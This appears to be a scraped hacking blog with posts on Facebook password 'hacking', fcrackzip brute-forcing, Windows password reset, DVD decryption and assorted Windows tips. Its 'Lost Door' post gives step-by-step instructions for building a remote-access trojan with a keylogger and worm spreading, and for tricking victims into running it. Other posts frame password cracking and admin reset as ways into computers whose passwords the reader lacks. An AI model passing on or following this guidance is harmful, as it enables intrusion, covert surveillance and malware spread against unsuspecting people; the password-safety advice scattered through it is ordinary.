Hacking-material

Hack Facebook Password

2011-12-15T09:07:00.000-08:00

Learn all "5 Hack Facebook Methods - Download Free Hacking Tools, Algorithms, Tips/Tricks" Top 10 Passwords used by 60% Facebook Users. Free Hacking Protection Guide

Hack Facebook Method 1 - Free Software to Crack Passwords

Hack Facebook for Free

There are so many software that aim to hack of fb passwords online. These function differently, and it is important that you understand the process so you can make the necessary actions that will ultimately keep you safe and protected. Learning about these software also gives you an idea how passwords are created, distributed and stored. The most popular free software facebook hacking tools are - Hydra, Ophcrack, Dsniff, Rainbow Crack and John the Ripper. We Provide their particular descriptions and mode of operation with Free Download Link (No Credit Card Required). Many of them are available in both Windows and Linux version along with 32 and 64 bit support.

Disclaimer :- Users are advised to use these software responsibly. The main intention to share this information is to create awareness about various hacking methods so that Facebook users can protect them-self from Hacking.

Hydra

Download it free from here hydra-6.0-src.ta r.gz

Hydra was developed by a group called THC or The Hacker's Choice. It is a software project that invests in dictionary attack to check for simple and weak passwords on a single or more remote hosts that function on different services. This was made as a proof-of-concept utility to show the convenience of hacking simple and poorly selected passwords. The project also supports different protocols and services, such as Firebird, AFP, HTTP, HTTPS, MS-SQL, RSH, RLOGIN, SNMP, POP3, IMAP, Cisco auth, Cisco AAA, SMBNT and HTTP-PROXY among others. THC ceased production of the software in 2007 in accordance with German laws that prohibit the availability of hacking instruments to the public.

Ophcrack

Download it free from here ophcrack-win32-installer-3.3.1.exe

Ophcrack cracks Windows passwords through LM hashes via rainbow tables. This is a free open source software which is GPL licensed that also includes that importation of hashes from different formats, including direct dumping from Windows SAM files. On several coputers, Ophcrack can crack several passwords in just a few minutes. Alphanumeric passwords via rainbow tables are given freely by developers. Ophcrack is usually grouped with tables that let it hack passwords that are no longer than 14 characters long. This is available for download in 2 Windows XP tables. Ophcrack can crack NTLM hashes.

Dsniff

Download it free from here dsniff-2.3.tar.gz

Dsniff is a password sniffer created by Dug Song. It is a package of utilities that include code to parse several application protocols and acquire a variety of information. Dsniff is a set of traffic analysis tools designed for many testings. It can also crush the regular behavior of switched networks and trigger network traffic from other hosts belonging to the same network segment to be visible. It focuses on HTTP, POP, LDAP, Rlogin, NFS, Citrix ICA, NAI Sniffer, Microsoft SQL protocols, OSPF, RIP, Telnet and FTP among others.

Rainbow Crack

Download it free from here rainbowcrack-1.5-win32.zip rainbowcrack-1.5-win64.zip rainbowcrack-1.5-linux32.zip rainbowcrack-1.5-linux64.zip

RainbowCrack is a computer software that produces rainbow tables that can be utilized in password cracking. It is different from other brute force crackers because it utilizes big pre-computed tables known as rainbow tables that minimize the duration required to crack the password. The program was created by Zhu Shuanglei and uses an ehnaced time-memory trade-off cryptanalysis attack that started in Ophcrack. The purpose is to create rainbow tables and not to crack passwords individually.

John the Ripper

Download it free from here

John the Ripper 1.7.6 (stable, Unix - sources, tar.gz, 814 KB) signature

John the Ripper 1.7.6 (stable, Unix - sources, tar.bz2, 654 KB) signature

John the Ripper 1.7.0.1 (stable, Windows - binaries, ZIP, 1360 KB) signature

John the Ripper 1.7.0.1 (stable, DOS - binaries, ZIP, 895 KB) signature

This is a free software that cracks passwords. It runs on 15 platforms and was first developed for the UNIX OS. It combines different password crackers into a single package and autodetects hash types. It also includes a customizable cracker. It can run against different encrypted password formats like crypt password hash types found in many flavors.

Hack Facebook Method 2 - Precomputation and Salting 101

Precomputation and salting are two methods commonly used by hackers to hack facebook by get into your system to try and manipulate, as well as acquire personal data. You should know more about the processes and find out how these work so you can stay safe and make use of the necessary precautions to keep everything secure for a long period of time. Knowing the method and understanding how it works will keep hackers at bay and your system safe.

Precomputation

Password cracking is also known as precomputation, which is the method of recovering passwords from information that has been saved or transmitted via a computer system. A very common method includes repetitively trying to guess the password. Hackers will make use of things that are related to you, such as your address, birth date or second name. The goal of the password cracking will help the user recover a lost or forgotten password, so that you can get unauthorized access to the system or for system administrators to verify for passwords that might easily be acquired and cracked. Even though putting a wholly different password is not a security risk, you still get system administration privileges. Password cracking is used to gain access to digital evidence in court cases.

Preventing Precomputation

The ideal method for preventing the cracking of password is to make sure that hackers do not access the encrypted password. For instance, encrypted passwords on the Unix operating system were first stored in a publicly accessible file. On newer systems, these are stored within the file, and are accessible only to programs that have enhanced privileges. However, several network protocols deliver passwords in cleartext or still use weak response and challenge schemes. You can stay protected by changing your password every now and then.

About Salting

Salt is made up of random bits used as one of the many inputs to a key derivation function. The other input is usually a pass phrase or password in cryptography. The output of the key derivation
function is saved as the password's encrypted version. The salt can also become a part of a key in a cipher or another algorithm. The function usually uses a hash function. Other times, a value generated earlier, called the initialization vector, is also used as the salt. Salt information tends to complicate the dictionary attacks that invest in pre-encryption of dictionary entries, wherein every bit of salt used will double the amount of computation and saving required. The salt value should be kept secret for security purposes. A number of protocols let the salt transmit as cleartext, together with the number of iterations used in producing the key to strengthen it.

Hack Facebook Method 3 - Using Computer Algorithms

Your password can be the very thing that allows hackers and other unscrupulous individuals into your system. It is important that you understand some of the complex algorithms to see how these work, just so you can make the necessary precautions and ensure that your facebook account and personal data stay safe for long. You should determine which one is most commonly used in your area, and try to invest in programs and methods that counter it.

Rule of Thumb for Facebook

Generally, if you pick a very easy password to remember, it will most likely be easier for the hacker to guess. Guessing or brute force attack will easily let the hacker into your computer, so the rule of thumb is to make passwords quite difficult to decipher. However, you should also refrain from choosing passwords that are very hard to remember, since these can minimize the safety of your computer and system. Users will need to electronically store the password or write it down for later use. Users might also have to use password resets all the time, if they forget and users will also re-use the password time and again. Users tend to subvert the system, by using very strict password strength requirements, such as mixing upper and lowercase letters, including digits and using words that are not readable.

Simple Password Transmission

Passwords are very prone to snooping or interception, while these are transmitted into the authenticating person or system. Once the password is brought as an electrical signal on an unsecured physical wiring between the central system that controls the database and the user access point, wiretapping can easily give out the facebook password. Any person who can watch the packets that have the logon data can easily snoop around without being caught.

Email is usually sent as cleartext, which makes it very easy to deliver to just any person curious enough to find out more. The email will be saved in 2 computers as cleartext, the recipient's and the sender's. Once it goes through intermediate systems during delivery, it will most likely be saved in one of the systems temporarily. Emailed passwords is a very unsafe way to distribute.

Via Encrypted Channels

If you use cryptographic protection, you reduce the snooping of passwords. The TLS or Transport Layer Security feature made into several internet browsers will let the user know of a SSL or TLS secure exchange with a serve by showing a closed lock image. There are also hash-based challenge-response methods. This requires the user to prove to the serve that the shared secret or password is already known. The stored form is then acquired by the server.

On Authentication

Remote authentication is also done by several systems. The attacker usually needs only the hash, instead of the original password so he can authenticate from a remote source. Zero-knowledge password proof can also be done, wherein knowledge of the password is proven without having to present it. There are also augmented systems like SRP-6 and AMP which can get rid of the limitation of hash-based methods. The hashed and unhashed password is used in this operation.

Hack Facebook Method 4 - Tricks and Theft in Your Email

Your email account is one of the most common platforms where unscrupulous individuals can take advantage and try to get into your personal data and financial status. Facebook is another medium that has a lot of hackers lurking at different corners, considering that there are more than 500 million registered users worldwide. You have to consider the past incidences and try to find more ways to get ahead so you stay safe and secure for long.

Sending You Emails

There are several companies that send you mail and make it seem like it's originating from Facebook to gain more credibility. However, you should be aware that most of these are only after your password, so they can hack into your account and manipulate your online activities. You might be wooed by lucrative and seemingly unbelievable offers, but be wary of these because you might be changing your password for the worse. For example, AT&T has been used by hackers to get into the emails of different registered users. The email will inform clients that they have to change and verify their password for security purposes. In reality, the hackers are only waiting for users to change into the new password so they can acquire this easily, thus easily getting into the user's email account and other sites where he is registered online.

Another Incident

There was also another incident wherein an employee of the Texas Power Company hacked into the system. The hacker logged into the VPN and sent emails to members of the engineering group that mans the nuclear reactor. The hacker was posing questions regarding the safety of the reactor, should the load be increased to the maximum. The energy forecast system of the company had to be closed down for a day, resulting to about $26,000 in losses.

Blackmails

You should also be wary of emails that seem to blackmail or force you to change items in your account. Usually, a pop-up window will appear and ask you to click on it so you can log on to Facebook or another landing page where you can change your password. The hacker created this window and page so he can view what you typed in. The blackmail usually comes in the form of a message indicating that you will lose your profile on Facebook or some data will be revealed to the general public if you do not comply.

The Facebook Password Change

This email attack has forced millions of people worldwide to comply and change their password. Some realized that information has been changed on their accounts, while others simply can no longer log into their account. Others report having their profiles used to sell or represent items they have no idea about. Identity theft is usually the result of the stolen passwords. Make sure you verify the source first and that it truly comes from Facebook, since a lot of hackers bank on the popularity of the website to gain people's trust online to Hack Facebook.

Hack Facebook Method 5 - Most Common Facebook Passwords List

People take passwords for granted which might explain why too many also have their identities and other personal information stolen through the internet. You should be careful when picking passwords. Follow the right guidelines and make sure that you only visit websites that are reliable and also invest in their own security system and protection.

The Weak Point

Hackers will always try to find a weak point in the system to try and get through and retrieve your password. Once the system uses a poorly made password scheme in protecting stored passwords, the hacker can use the weak point and get even well-chosen ones. Microsoft Windows divides the characters of the password into two so that these are hashed separately. Thus, the hacker has to attack each one separately, which will require more time and effort, compared to just attacking a single password.

Making Your Facebook Password

People make the mistake of choosing passwords that are very obvious and easy to decipher. You might realize that you can spend months or weeks choosing the right name for your baby or your pet, but do not think twice when picking the right password. You have to understand that passwords should almost never relate to you. You have to also follow directions and suggestions by websites on how to write your password. Some of the best passwords are no less than 12 to 15 characters in length, use a combination of letters and numbers, use a combination of upper and lower case letters and use words that may not be readable or understandable.

Guessing by Hackers for How to Hack Facebook ?

Guessing involves linguistically deriving words until hackers get into the system. Dictionary attack is the most common and describes all attacks. Examples of passwords that can be guessed include not using any or just putting blank, using the words "admin" or "password", using the numbers "123" or "12345" and using "qwerty or asdf". You should never use your log in or user name. You should also refrain from using your middle or last name. Avoid using words or terms that relate to you, such as the name of your favorite pet or mother, your place of birth or your car license plate. Also, do not reverse the letters of your name or use your initials. Hackers can easily guess these.

Below is the Top 10 list of most commonly used facebook passwords:

1. password

2. 123456

3. qwerty

4. abc123

5. letmein

6. monkey

7. myspace 1

8. password 1

9. blink182

10. (your first name)

The Best Way to avoid being a target or identity theft, you should keep the hacker from reaching even your encrypted password. Encrypted passwords used to be saved in an accessible file. Now, these are kept within the file and can only be accessed by programs that have improved privileges. This will be very difficult for unscrupulous individuals to get during the initial stages. New Unix systems have changed traditional DES-based hashing of passwords with enhanced methods founded on Blowfish and MD5.

Other methods include changing your password every now and then. You can stay protected from brute forcing, wherein the hacker tries to get into your system within one shift. It is advisable that you change password every week or month.

Below is a quick stats to proof potential risk involved by using simple passwords.

How do you protect your account from hackers?

An unauthorized person who has access to your account can wreak havoc, even if it is just a social networking site like Facebook. For that you need to have a strong password, because a weak password can act as a key for hackers to hack their way into your account.

To secure your password:

- Avoid using words, digits or names that are directly connected with you.

- Avoid default passwords, and change the given passwords as soon as you activate an account.

- Have lengthy passwords.

- Avoid using alphabets or numbers in a sequence.

- Mix the upper and lower cases in your password, to make it complicated, taking care to remember your capitals.

- Adding symbols can further secure your password.

Thus by providing maximum strength to your passwords, you can protect your Facebook and other personal as well as business accounts. Remember, safety should always be your first pre-requisite.

How to Crack Password-Protected Zip Files

2011-04-18T10:26:00.000-07:00

People using Zip to compress their files beside compression they are trying to lock their important data with password(s).

Now let suppose if you do this same thing with your important files and now you have forgotten password, now what to do now its time to crack it.

This article will teach you how to crack the password of Zip files.

For this purpose we will use Linux based operating system and a tool FCrackZip for this purpose, FCrackZip is a fast and free-ware tool and it is easy to use Zip cracker tool it is similar to fzc and zipcrack. It has been written in assembler and it uses brute force and dictionary based attack to crack or find-out the passwords.

By using a simple Linux terminal and command you can easily crack the Zip password, you can download FCrackZip from your software manager.

Use this command to get FCrackZip from terminal

$ sudo apt-get install fcrackzip

After installing this you have options to attack on your zip file, either choose brute force attack or dictionary attack.

Here is the simple usage example.

$ fcrackzip -v -b -p aaaaaa -u your_zip_file.zip

By looking the above picture you can easily see the brute force attack against a zip file that is password protected, it took around 30 minutes to find the password for this zip.

5 Best Online Virus Scanner

2011-04-18T10:24:00.000-07:00

A virus is malicious software or a malicious program which hides in other program and execute when you open this program. A virus is inactive until you execute an infected program. If you want to know more about viruses or if you want to create your own virus than click here.

Technology has been changed and changing rapidly, different viruses has an ability to destroy your anti-virus software so in this case a online virus scanner probably a good choice to use.

Here are the list of some more common anti-virus software vendors online scanner web link. If your anti-virus do not work properly or if you have any doubt that your computer has been infected by a virus so scan your computer online.

BitDefender

Bitdefender is going to be a popular anti-virus solution, BitDefender Online Scanner is an on-demand antivirus and antispyware tool that lets you see just how safe your PC is for yourself. It detects and remove any virus and spyware on your computer online. Click here to scan.

Kaspersky

Kaspersky is one of our favorite online virus scanner tool, it detect the virus and spyware using the same method as in the fully-functional anti-virus solution provides.It allows malware detection and to compare your result with the malware database for effective result. Click here to scan.

Panda Active Scan

Panda ActiveScan is Panda Software’s online antivirus, that works directly over the Internet. With a simple click from your browser you can scan all your files and e-mail for viruses. Click here to scan.

ESET Online Scanner

ESET Online Scanner is a user friendly, free and powerful tool which you can use to remove malware from any PC utilizing only your web browser without having to install anti-virus software. ESET Online Scanner uses the same ThreatSense® technology and signatures as ESET Smart Security/ESET NOD32 Antivirus, and is always up-to-date. Click here to scan.

OneCare Online Scanner

Windows Live OneCare safety scanner is a free service designed to help ensure the health of your PC. Click here to scan.

Cool Windows Tricks

2011-04-18T10:21:00.000-07:00

There are different computer tips and tricks available to impress anyone, If you are looking for some tips and tricks than read this article.

Lock A Folder In XP Without Any Software

For doing create a folder in C drive, suppose folder name is xyz.
Now open command prompt from start menu.

Now in command prompt type "attrib +s +h C:\xyz" without quotes and press enter.
This command will make your folder invisible and it will never seen by anyone even in the hidden file and folder.
If you want to make it visible again type "attrib -s -h C:\xyz"
By doing this you can lock any folder of your choice.

Hide Your Drive

This is a small but cool trick to hide your drive/partition of your choice, if you have a personal data in on a partition and you dont want any other to see this data than you can hide this partition in on XP,Vista,7 and 2000 too.

Open registry editor by going on start than run and type regedit.
Find this
HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Policies
Click on explorer
Click on "nodrives" key on the right column.
You will see something like this "0000 00 00 00 00"
After the four set of zero ("0000") you have to write your partition name
The first column is for drives A-H, the second for I-P, the third for Q-X, and the fourth for Y-Z.
The value(s) of drive as follow:
1 - A I Q Y
2 - B J R Z
4 - C K S
8 - D L T
16 - E M U
32 - F N V
64 - G O W
80 - H P X
So, let's say you want to hide drive D. In the first column you would put "08"

Make An Invisible Folder

Create a folder when you have to enter the name of the folder.
Press ALT + 0160 if you do this exactly than your folder has no name.

Right click on the folder > properties > Change Icon .go through the list of icons and then you'll see an invisible icon choose it and then click OK.

Now your folder will be invisible and it can see only when you select it.

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How to Control a Remote Computer using Lost Door

2011-04-18T10:11:00.000-07:00

Remote Administration tools also known as RAT are windows Trojans or in simple terms programs used by a Hacker to get administrative privileges on the victim’s computer. Using a RAT you can do a lot of cool things such as “Upload, delete or modify data” , “Edit registry”, “Capture victim’s screen shot”, “Take control of victim’s Computer”or “Execute a virus” just with a click of a button.

Throughout this article I will teach you how to use Lost Door, a Windows RAT, to control and monitor a victim’s computer remotely.

Disclaimer: Coder and related sites are not responsible for any abuse done using this software.

Follow the steps below to setup a server for Lost Door.

Download Lost Door from here . (Update: In case the given download link doesn’t work, use this secondary download link. The password to unzip this file is “ehacking.nethungry-hacker.com” without double quotes.)
On executing the download file, you will see the following screen. Accept it

After it is open, right click on the window and click on create server

Now enter your IP address and DNS here. Leave the rest of the field as it is.

Now click on the ‘Options’ tab and choose the options as you want. To activate an offline keylogger is a good practice.

Now go to ‘Advanced’ Tab. There will options related to spreading. This will be used in case you have more than 1 victim.

Now just go to the ‘Create’ tab and click on create server. Your server is ready for use now and now send it to the victim.

Sending the server file to your victim

This is the most important thing after you have created your server file. If you want to take control on a single computer than you have to send this server file to the desired victim but if you want to affect more and more people than you have to use some spreading techniques.

If you have physical access to the victim’s computer then take the server file in a pen drive and just double click on your server file once you have injected the pen drive into that computer.
For those who don’t have physical access can use social engineering in order to get the victim execute that file on his computer.

Using Spreading to affect multiple victims

If you have more than one victim, then you have an option of using spreading technique. You might think that by creating multiple server files you can control multiple users. But here is a secret about spreading. When you select the spreading option, the server file will act as a worm which will spread itself across different computers via Email or any other channel. So your burden will be only to get one victim to execute that file on his computer, the remaining job of getting other victims will be done on its own.

9 Best Twitter Desktop Apps for Mac

2011-04-18T10:09:00.000-07:00

Hello Friends,

The popularity of Twitter has increased tremendously in past few years. As a result a lot of Twitter Desktop applications are available to the users for download these days. These applications allow you to receive and post Tweets from your desktop without visiting your Twitter.com page. To reduce your burden of finding the appropriate app for you from such a big pool of apps, we have compiled a list of Best Twitter Desktop apps available in the market. Earlier I had compiled a list of 20 Best Twitter Desktop Apps for Windows. Today I give you 9 Best Twitter Apps for Mac.

1. EventBox

This just-for-Mac app is a favorite of many because it supports Twitter, Facebook, Flickr integration, feed reading with Google Reader and internet trend watching with Reddit and Digg . Keyboard shortcuts, hotkeys, Instapaper integration, and photo uploads to Flickr and Facebook make EventBox pretty nifty. It’s also got a very slick interface with a navigation menu on the left-hand side.

2. Mac Lounge

This app is incredibly appealing for its dead simple, single column interface and respectable feature set. We, of course, love the multiple account support, but also appreciate saved searches, quick access to view followers and following, and tweet options to link to tweet, copy tweet, or copy tweet URL. There’s also an accompanying iPhone app, which syncs with the desktop version and greatly improves the app’s relevance.

3. Nambu

This really sophisticated Mac app should be more than enough for any and all of your Twitter needs. You’ve got access to your followers and friends, custom groups, search (integrated with FriendFeed and One Riot), trends, tr.im and pic.im integration, multiple accounts, Ping .fm integration, filters, and three view options for a one or many column view of tweets.

4. Sideline:

Sideline is just a search and trending topic app from Yahoo, but it does a darn good job at satisfying those specific needs. You can view current Twitter trends, select to see the three latest tweets or pop out as its own saved search, and create custom search groups as tabs.

5. Skimmer:

It’s hard not to love this app. Not only is it beautiful to look at it, but it also tracks your favorite social sites. Skimmer’s certainly not an application for the social media beginner, but power users of Facebook, Flickr, YouTube, Blogger, and Twitter, will appreciate the aggregation of content, filtering options, view types, and enhanced content viewing experience.

6. Tweetie

A full-featured Twitter client which is available in free ad supported and ad-free versions. This Desktop app lets you view not only the tweets but also the entire conversation history leading to that tweet. It provides you with an independent compose windows that stay out of your way until you need them. Tweetie for Mac also has search trends to let you find out the hottest trend in Twitter. Other features include threaded DMs, user details, torn off search, bookmarklet, and preferences.

7. Twibble Desktop

Twibble is a bit of a riddle. It’s not a bad app when it comes to feature set, but it’s also not the most intuitive. You can manage multiple accounts, but all tweets are merged together in one stream. You can reply, DM, fav, RT, and copy tweets, but you’ll have to hover over the tweet to even know those behaviors are possible. You can also use keyboard shortcuts, filter your tweets for keywords, or conduct searches that open up in new windows, but Twibble just doesn’t seem to flow as easily as we’d like it to.

8. Twitterific

Lets you both read and publish posts or “tweets” using a clean and concise user interface designed to take up a minimum of real estate on your Mac’s desktop. The app shows a scrolling list of the latest tweets from your friends, or public feeds. Its features include multiple Twitter account support, auto refreshing, inline display of replies and DMs, shows no. of unread tweets, quickly delete tweets, auto show/hide new tweets, single click access to user pages and more.

9. TwitterPod:

This app isn’t known for its sophistication or advanced Twitter functionality. TwitterPod is a basic single column Twitter app with an inline browser and the ability to filter for just tweets with links. Its heyday has long since passed, but original fan boys and girls may still be using this for their twittering.

6 Tips to Avoid Facebook Viruses and Spam Messages

2011-04-18T09:57:00.000-07:00

Facebook, the biggest social network with 500 million users, provides an interface to hit an unsuspecting crowd with malware and viruses. These viruses aren’t very difficult to detect if you are cautious enough. These Facebook viruses appear on your wall in forms of a bizarre or eye-catching stories and videos and once the user has clicked/liked the link, it is already late. The next step will be getting rid of your Facebook virus which is a time-consuming process. Its better to avoid spam messages and trojan viruses in the first place.

How to avoid it?

1. Think before you Act. Viruses on Facebook are sneaky. The hackers and cybercriminals who want your information know that Facebook users will often click on an interesting post without a moment’s thought. If a post sounds a bit over-the-top like a headline out of a tabloid, this is your first warning sign.

2. Try to avoid Links and videos with Catchy words like “funniest ever,” “most hilarious video on Facebook,” or “you’ve got to see this.” Do some keyword research to see if the post in question comes up in a search engine with information about a current virus or trojan.

3. Check the poster of the Suspicious content. If you receive a message from someone you do not know, this is an obvious red flag. Facebook video viruses also tend to pop up in your news feed or on your wall from friends you haven’t talked to in a while. Unfortunately, it’s likely this friend has already fallen victim to the latest virus on Facebook. After clicking on the story themselves, the message was sent out to all of their friends as well.

4 Avoid messages that have been posted by multiple users as the virus spreads among your friends who were not so cautious. If a link with title such as “Sexiest video ever” shows up all over your feed from all kinds of people (perhaps friends you would not expect to make such a post), this is another warning sign. Similar direct messages are a likely variant of the notorious Facebook Koobface virus which has used this approach in the past.

5. Do not fall for the “typical” money-transfer schemes. Chat messages from friends needing funds will usually sound suspicious. Everything can’t be screened before posting, so money transfer scams and hoax applications still find their way on to Facebook. You should also avoid applications that claim to do a full “Error check” or fix security problems related to your profile.

6. Update your anti-virus software frequently. If you do accidentally click on a post before realizing it is a hoax, do not click on any further links or downloads. If it’s too late and you have already been infected, the Facebook virus removal process may be effortless if you have a good anti-virus program to catch the virus, trojan or other malware early on.

What’s Next?

These were few important tips to safeguard your facebook account but your job isn’t done yet. Once you have detected that the link/post on your facebook wall is Malicious you should Mark it as SPAM so that the facebook support will stop it from spreading further and infecting other users.

If you have ever fallen victim of any such Malicious Scheme, please share your experience with all the users in form of comments so that others don’t fall victim of it.

Movie Compressor 4.7 GB to 100 MB

2010-11-02T10:26:00.000-07:00

Movie Compressor 4.7 GB to 100 MB

Install all the Softwares (Download them...all are freewares)……….
1) DivX Create Bundle
2) DVD2AVI
3) DVD Decrypter
4) LAME ACM Codec
5) Virtual Dub
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Source: http://www.lazydesis.com/help-section/63428-movie-compressor-4-7-gb-100-mb.html#ixzz11akO7cNI
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Step (1): Insert your DVD into the drive and launch DVD decrypter. DVD Decrypter will detect the DVD and its file contents will now be displayed in the right pane. Now go to File > Browse and select the destination for the ripped VOB files. Keep in mind that the destination must have enough free space to store the contents of the entire DVD.
Step (2): After choosing the destination, click on File>Decrypt to start the decryption process. DVD Decrypter removes the Macrovision Protection by default, and you can set to remove region code as well by going to Tools > IFO > Region > Patch > Region Free. These are necessary for the next step. After the DVD ripping process is completed, close DVD Decrypter.
Step (3): Next Launch DVD2AVI. Go to File > Open. Make sure the correct track number in the Audio menu is selected. You need to find the correct track number-most DVDs have multiple audio tracks in different languages. This can be checked by selecting one track at a time and playing it. Also click on the Audio menu and navigate to “48>44.1KHz”, and select Off. Go to Help > SIMD Technology and select all the optimizations supported by your processor. Now go to File > Save As AVI.

Step (4): Decide on a file name and choose a location with enough free space. You will now be prompted to choose a video compressor. Choose “DivX 6.x.x” from the drop-down menu where you can select the video compressor.

Step (5): Under the Certification Profiles, you can choose an appropriate preset profile such as High Definition, Home Theater, Portable, Hand held, and Unconstrained. When you choose one of the above profiles, it is virtually guaranteed that the encoded DivX file will be playable on any standalone DivX-certified player. Click on Settings. You can select a bitrate of your choice. A higher bitrate means a larger file size and better quality, while a lower bitrate means a smaller file size and lower image quality.

Step (6): In the Codec tab, you can set the Encoding mode. The default setting is a good trade-off between quality and compression, but if you wish to control the file size, you can state your own mode such as High Performance, Better Quality, etc. Click on OK and then on save to start the video
demultiplexing process. This will take some time depending on the speed of your computer. At the end of this process, you’ll have an AVI file and a WAV file.

Step (7): We now get to the creation of the DivX file-putting together the video (AVI) and audio (WAV) files that were created in the previous step. Launch Virtual Dub. Under File > Open, browse to the folder where the AVI and WAV files are stored. Select the AVI file and click Open.

Step (8): Click on the Audio menu and click “Full Processing Mode”. Click again on the Audio menu and select “WAV Audio”. You will be prompted to open a WAV file. Select the WAV file you created earlier and click Open. Click on the Audio menu and then on Compression. Select “MPEG Layer-3” from the left pane and then select “128 KBit/s, 48,000Hz, Streo” in the right pane. Click OK.

Step (9): Select Interleaving from the Audio menu. Then, select the “mis” radio button and input “500” into the “Interleave audio every” dialog box. Click OK. Again, in the Audio menu, select Volume. Check the box and move the slider to 200 percent. Click OK.

Step (10): From the Video menu, select Direct Stream Copy.

Step (11): Go to File > Save As. Enter a file name of your choice at a location of your choice, and click at a location of your choice, and click OK. This, again, will take some time, but not as much as the video encoding using DVD2AVI. After the process is complete, you’ll have a DivX backup of your DVD movie.

Step (12): All that’s left now is to burn the DivX backup up to CD or DVD using your DVD-Writer.

Download this file(remove spaces):
http:// rapidshare. com/files/221447053/Convert_The_4.7_G.B_movie_to_100mb_CW. rar

How to Hack Windows Administrator Password

2010-11-02T10:24:00.000-07:00

How to Hack Windows Administrator Password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.
Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.

You do not need to know the old password to set a new one
Will detect and offer to unlock locked or disabled out user accounts!
There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.
Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.
The download link for both CD and floppy drives along with the complete instructions is given below

Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)

2. Now type net user and hit Enter

3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows

4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

Remove Linux From Your Pc Safely, ...and restoring

2010-11-02T10:23:00.001-07:00

Remove Linux From Your Pc Safely, ...and restoring

First of all you need to know where your Linux OS is installed to. that is what drive it is currently living on. Bear in mind that Linux formats the drive as HFS rather than Fat/Fat32 or NTFS. ( These are the file systems used by various Operating Systems).

So HFS Partitions are not seen by windows, so its hidden.

To remove the partitions of Linux in WindowsXP go to your 'Control panel' > Admistrative Tools > Computer Managment

Open 'Disk Management' and you will see your Linux drives recognised as 'Unknown Partition' plus the status of the drive. Bearing in mind you know what partition and disk you installed to it will be easier to recognise as the drive/partition where you had installed it to.

Once you have identifed the drives, 'right-Click' on the drive/partiton and select 'Delete Logical Drive'

Once you have followed this through, you will now have free space.

This next part is very important. Once you have formatted the drive, re format it as your required file system type. either Fat32 or NTFS. Now the important part is coming up !

Fixing your Master Boot Record to make Windows Bootable again.

Have a Windows Boot disk with all the basic DOS Commands loaded on to the disk. A standard Windows 98/Me Boot Disk will work too.

Type in the DOS command :

e.g, from your C:\

fdisk /mbr

Or use your Windows XP run the recovery console, pick which xp install you would like to boot in to (usually you will pick #1)

then type: fixmbr. Answer Y to the dialoge.

Your master boot record will now be restored and Windows XP will be bootable once again. Your System will be restored with your original boot loader that you got with Windows XP.

How to Block Unwanted Emails

2010-11-02T10:20:00.000-07:00

How to Block Unwanted Emails

Do you want to block emails from your ex wife/husband? Do you want to block those annoying offers and newsletters that reach your inbox? Well here is a way to block all those unwanted and annoying emails that you do not want to see or read! With this trick you can block individual email address or the whole domain from which you do not want the emails to come from. Here are the step-by-step instructions to do this.

For Gmail

1. Login to your account
2. At the top-right corner, click on Settings
3. Under Settings, click on Filters
4. You’ll now see an option “Create a new filter“, click on it
5. Now in the From field enter the email address from which you do lot want to receive the emails
For ex. you may enter john@gmail .com in the From field to block all incoming emails from this address. However if you want to block the whole domain then use the following syntax: *@xyz.com. Now all the incoming emails from the domain xyz.com will be blocked.
6. Click on Next Step, select the action you’d like to take on the blocked emails. You may select the option Delete it so that the blocked email is moved to trash. To unblock the email, all you need to do is just delete the filter that you’ve created.

For Yahoo

1. Login to your account

2. At the top-right corner, click on Options

3. A drop down menu appears, now click on More options

4. In the left panel select the option Filters and click on create or edit filters

5. Now click on Add

6. In the next screen, give a name to your filter and in the From header field enter the email address that you want to block.

Fox ex. john@gmail.com or if you want to block an entire domain then just enter @xyz.com. Dont enter *@xyz.com. Select the option Move the message to: Trash and click on Save Changes.

For Hotmail

1. Login to your account

2. At the top-right corner, click on Options

3. A drop down menu appears, now click on More options

4. Click on Safe and blocked senders link under Junk e-mail

5. Now click on Blocked senders

6. Type in the email address that you want to block under blocked e-mail address or domain field.

For ex. Enter john@yahoo.com to block the individual email address or just enter xyz.com to block the entire domain.

That’s it. You no longer receive those annoying emails in your inbox. Keep your inbox clean and tidy. I hope this post helps. pass your comments!

Install Xp From Dos

2010-11-02T10:18:00.001-07:00

Install Xp From Dos

If XP will not install from the CD or if you have a new drive with no operating system on
it yet try these:

Install Windows XP from the hard drive with Windows 98 already installed:

Boot Windows 98
Insert the XP CD into your CD reader
Explore Windows XP through My Computer
Copy i386 folder to C:\
Go into C:\i386 folder and double click on winnt32.exe to launch the setup from the hard drive

Install Windows XP from DOS (ie. no OS on a new hard drive):

Boot with a Windows 98 Start Up disk
Insert the Windows 98 CD into the CD reader
Run smartdrv.exe from the Win98 directory on the windows 98 CD (file caching)
Type cd.. to back up to the root directory
Insert Windows XP CD into the CD reader
Copy the i386 folder to C:\
Go into C:\i386 folder on C: and type winnt.exe to launch the setup from the hard drive.

How to Trace Any IP Address

2010-11-02T10:11:00.001-07:00

How to Trace Any IP Address

Just go to
http://standalonetricks.blogspot.com/p/trace-any-ip-address.html
